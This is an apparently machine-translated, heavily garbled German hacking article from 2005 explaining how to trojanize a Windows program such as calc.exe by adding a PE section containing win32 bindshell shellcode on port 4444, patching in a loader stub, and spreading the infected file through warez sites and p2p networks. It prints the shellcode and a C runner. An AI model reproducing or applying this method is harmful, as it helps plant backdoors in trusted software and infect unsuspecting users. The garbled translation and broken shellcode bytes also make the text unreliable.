Der perfekte Weg, bösartigen Code zu verbreiten


Der perfekte Weg , "böswillig" Code zu verbreiten
Autor: Proteus [[email protected]]

Was Sie brauchen:
1. LordPE von Yoda
2. W32Dasm
3. PEiD
4. TOPO
5. Nun, estessno nekrivye Rica;)

Eintrag

4to würde sagen, es ist nicht, aber die Borg sitzen nicht herum ...
Vorbei sind die meisten "delicious" Löcher, die vor ein paar Monaten war es vor nicht ein Ruta tysya4u ungeschützten Maschinen. Jetzt und Injizieren seinen Code in den Raum adressnoe "Vertrauen" der Prozess wird niemanden überraschen. Auch die dummen Feuerwerk nau4iis mit ihm zu beschäftigen. Jetzt kommen mit Möglichkeiten, um anspruchsvolle miteinander, aber eine so lange Zeit bleiben nicht ohne "Impfstoff". Ich schlage vor, in dem Artikel, ein einfaches Verfahren beschreiben die "Bösen" für die Verteilung (unter dem "Bösen" meine ich nicht unbedingt Trojanern, Rootkits, etc., kann es versteckt und banal s4et4ik Besuche auf Ihrer Ressource ska4ki Software, einige Statistiken werden im allgemeinen, 4TO, alle manchmal nützlich Code) durch die vorläufigen Einführung in die binäre "notwendig" Opfer Produkt.

Auf den Punkt gebracht

Sna4ala vyberaem "Lockente" für das Opfer - eine Datei, die angeblich sollte das Opfer ska4at und ausführen. Hier habe ich euch, meine neugierige 4itatel, völlige Freiheit der Wahl! Kone4no, DLLki melkosofta mit einem Zertifikat - nicht lu4shy Wahl, aber einige Shareware auf einem abstrakten Produkt gemeinsamer Ansätze können sehr nützlich sein. Wir werden nicht nur Bösewichte, nehmen oby4ny calc.exe aus dem% Systemroot% (4to oder irgendetwas anderes) und trainieren auf sie ...

Die Herstellung des "bösen" Code

Um 4toby 4to etwas Infekt, fügen Sie etwas versteckten Code, müssen Sie es vor vorzubereiten. Hier werden wir sey4as zu tun. Ich habe daran gedacht, die banale bindshelle zu bleiben - obwohl es möglich ist, eine beliebige Datei aus dem Netz zu machen und hochladen, \ Regeln Feuerwerk löschen zu ändern - und bereitete ihn Shellcode:

// Bindshell win32 auf Port 4444
# include
char Shellcode [] = "\ x31"
"\ XC9 \ x83 \ xe9 \ XAF \ XD9 \ xee \ XD9 \ x74 \ x24 \ XF4 \ X5b \ x81 \ x73 \ x13 \ x92"
"\ X35 \ x88 \ x95 \ x83 \ XEB \ xk \ XE2 \ XF4 \ X6E \ x5f \ x63 \ xda \ X7A \ xcc \ x77 \ X6A"
"\ X6D \ x55 \ x03 \ xf9 \ XB6 \ x11 \ x03 \ xd0 \ XAE \ xbe \ XF4 \ x90 \ xea \ x34 \ x67 \ x1e"
"\ Xdd \ X2D \ x03 \ xca \ xb2 \ x34 \ x63 \ x76 \ xa2 \ X7C \ x03 \ XA1 \ x19 \ x34 \ x66 \ XA4"
"\ X52 \ xac \ x24 \ x11 \ x52 \ x41 \ X8F \ x54 \ x58 \ x38 \ x89 \ x57 \ x79 \ xc1 \ xB3 \ xc1"
"\ XB6 \ X1D \ xfd \ x76 \ x19 \ X6A \ xac \ x94 \ x79 \ x53 \ x03 \ x99 \ XD9 \ xbe \ XD7 \ x89"
"\ X93 \ xde \ X8b \ XB9 \ x19 \ xbc \ XE4 \ xb1 \ X8E \ x54 \ X4b \ XA4 \ x52 \ x51 \ x03 \ XD5"
"\ Xa2 \ xbe \ XC8 \ x99 \ x19 \ x45 \ x94 \ x38 \ x19 \ x75 \ x80 \ xcb \ xfa \ xbb \ XC6 \ X9b"
"\ X7E \ x65 \ x77 \ x43 \ XA3 \ xee \ xee \ XC6 \ XF4 \ X5D \ xbb \ xa7 \ xfa \ x42 \ xfb \ xa7"
"\ Xcd \ x61 \ x77 \ x45 \ xfa \ xfe \ x65 \ x69 \ xA9 \ x65 \ x77 \ x43 \ xcd \ xbc \ X6D \ XF3"
"\ X13 \ xd8 \ x80 \ x97 \ XC7 \ x5f \ X8a \ X6A \ x42 \ X5D \ x51 \ x9c \ x67 \ x98 \ xdf \ X6A"
"\ X44 \ x66 \ xdb \ XC6 \ xc1 \ x66 \ xcb \ XC6 \ xd1 \ x66 \ x77 \ x45 \ XF4 \ X5D \ x99 \ XC9"
"\ XF4 \ x66 \ x01 \ x74 \ x07 \ X5D \ X2c \ X8F \ XE2 \ xf2 \ xdf \ X6A \ x44 \ x5f \ x98 \ XC4"
"\ XC7 \ xca \ x58 \ xfd \ x36 \ x98 \ XA6 \ X7C \ XC5 \ xca \ x5e \ XC6 \ XC7 \ xca \ x58 \ xfd"
"\ X77 \ X7C \ X0E \ xdc \ XC5 \ xca \ x5e \ XC5 \ XC6 \ x61 \ xdd \ X6A \ x42 \ XA6 \ xe0 \ x72"
"\ XEB \ XF3 \ xf1 \ xc2 \ X6D \ XE3 \ xdd \ X6A \ x42 \ x53 \ XE2 \ xf1 \ XF4 \ X5D \ XEB \ XF8"
"\ X1b \ xd0 \ XE2 \ XC5 \ xcb \ X1c \ x44 \ X1c \ x75 \ x5f \ xcc \ X1c \ x70 \ x04 \ x48 \ x66"
"\ X38 \ xcb \ xca \ XB8 \ X6C \ x77 \ XA4 \ x06 \ x1f \ x4f \ xb0 \ x3e \ x39 \ x9e \ xe0 \ XE7"
"\ X6C \ x86 \ x9e \ X6A \ XE7 \ x71 \ x77 \ x43 \ XC9 \ x62 \ xda \ XC4 \ xc3 \ x64 \ XE2 \ x94"
"\ XC3 \ x64 \ xdd \ XC4 \ X6D \ xe5 \ xe0 \ x38 \ X4b \ x30 \ x46 \ XC6 \ X6D \ XE3 \ XE2 \ X6A"
"\ X6D \ x02 \ x77 \ x45 \ x19 \ x62 \ x74 \ x16 \ x56 \ x51 \ x77 \ x43 \ XC0 \ xca \ x58 \ xfd"
"\ X62 \ xbf \ x8c \ xca \ xc1 \ xca \ x5e \ X6A \ x42 \ x35 \ x88 \ x95";

int
main () {
void (* Funkt) ();
(Long) Funkt = & Shellcode;
Funkt ();}

Nun, ein Programm zusammenstellen, die den Shellcode und verwenden Sie das Dienstprogramm führt speichert LordPE seine Datenteil enthält (portbind).


Konvertieren Sie die Shellcode im Datenteil

Prakti4eskaya 4ast

Dann laden Sie die Datei in LordPE "Opfer" und laden Sie zusätzliche Datenabschnitt portbind (vergessen Sie nicht, ihre Flagge auf E0000020 zu ändern, können ina4e Code nicht ausgeführt werden!) Und denken Sie daran seine Offset (es ist gleich D7000 in meiner Datei)

Geladen eine Datei Shellcode Abschnitt enthält,

Jetzt bleibt nur noch ein leeres im Programm des Opfers (oder nie an irgendwelchen Überprüfungen durchgeführt) Ort und legen Sie stattdessen unsere Shellcode zagruz4ik zu finden. Ich habe es wie folgt aus:

So implementiert ich zagruz4ik Shellcode

Ich denke, dass alles klar ist, wird der Code bei D7000 ausgeführt. Und dort, wie wir uns erinnern, enthält Shellcode.

uda4ny Einführung des "bösen" Code (Shellcode von der anderen verwendet)

Nach dem Start kehrt das Programm zur Ausführung von "ihren" Körper ...

Fortpflanzung

Basierend auf dem Prinzip "bösartigen Code Infektion" avtomati4eski Probleme des Kampfes gegen die Antivirus, Firewall verschwinden. Und kein Wunder, da der Benutzer 4to führt alle Aktionen denken, wird nicht unser Shellcode und Vertrauen Anwendung, die von ihm eingesetzt und ihn auf jede Aktivität ermöglichen. Zustimmen, denn zu unserer "Bösen" im binären Code erhalten kann nicht jeder Benutzer odino4ku. Und wenn Sie jede Art von Packer verwenden, unseren Code wäre für immer ein Rätsel!
Das einzige Problem ist, die Methode der Infektion ograni4ennost "bösartigen" Code. Ich sehe die sicherste Art und Weise seiner Massenverteilung in den warez Portale, ein p2p, oder einfach nur endlich in städtischen Netzen.

gl hf 2 alle
04.06.2005